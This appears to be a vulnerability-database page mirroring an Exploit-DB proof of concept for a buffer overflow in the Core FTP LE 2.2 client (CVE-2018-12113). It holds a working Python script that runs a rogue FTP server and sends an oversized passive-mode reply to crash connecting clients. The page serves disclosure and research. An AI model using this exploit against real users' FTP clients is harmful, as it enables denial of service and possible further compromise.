Lucene search
K

Core FTP LE 2.2 - Buffer Overflow (PoC)

🗓️ 02 Jul 2018 00:00:00Reported by Berk Cem GökselType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 42 Views

Core FTP LE 2.2 Buffer Overflow PoC, Windows 1

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Core FTP LE 2.2 - Buffer Overflow Exploit
3 Jul 201800:00
zdt
CNVD
Core FTP LE Buffer Overflow Vulnerability
5 Jul 201800:00
cnvd
CVE
CVE-2018-12113
5 Jul 201820:00
cve
Cvelist
CVE-2018-12113
5 Jul 201820:00
cvelist
exploitpack
Core FTP LE 2.2 - Buffer Overflow (PoC)
2 Jul 201800:00
exploitpack
NVD
CVE-2018-12113
5 Jul 201820:29
nvd
Packet Storm
Core FTP LE 2.2 Buffer Overflow
2 Jul 201800:00
packetstorm
Prion
Buffer overflow
5 Jul 201820:29
prion
# Exploit Title: Core FTP LE 2.2 - Buffer Overflow (PoC)
# Date: 2018-06-28
# Exploit Author: Berk Cem Göksel
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/download
# Version:  Core FTP Client LE v2.2 Build 1921
# Tested on: Windows 10
# Category: Dos
# CVE : CVE-2018-12113
# coding: utf-8

# Description:]
# The vulnerability was discovered during a vulnerability research lecture.
# This is meant to be a PoC.

#!/usr/bin/env python

import socket

IP = '0.0.0.0'
port = 21


Stack_beginning = 3004

buff = "\x90" * (3004)

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((IP, port))
        s.listen(20)
        print("[i] FTP Server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome!' + '\r\n')
    print conn.recv(1024)
    conn.send('331 OK.\r\n')
    print conn.recv(1024)
    conn.send('230 OK.\r\n')
    print conn.recv(1024)
    conn.send('215 UNIX Type: L8\r\n')
    print conn.recv(1024)
    conn.send('257 "/" is current directory.\r\n')
    print conn.recv(1024)
    conn.send('227 Entering Passive Mode (' + buff +  ')\r\n')
    print conn.recv(1024)
    conn.send('257' + '\r\n')

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2018 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 39.8
EPSS0.12207
42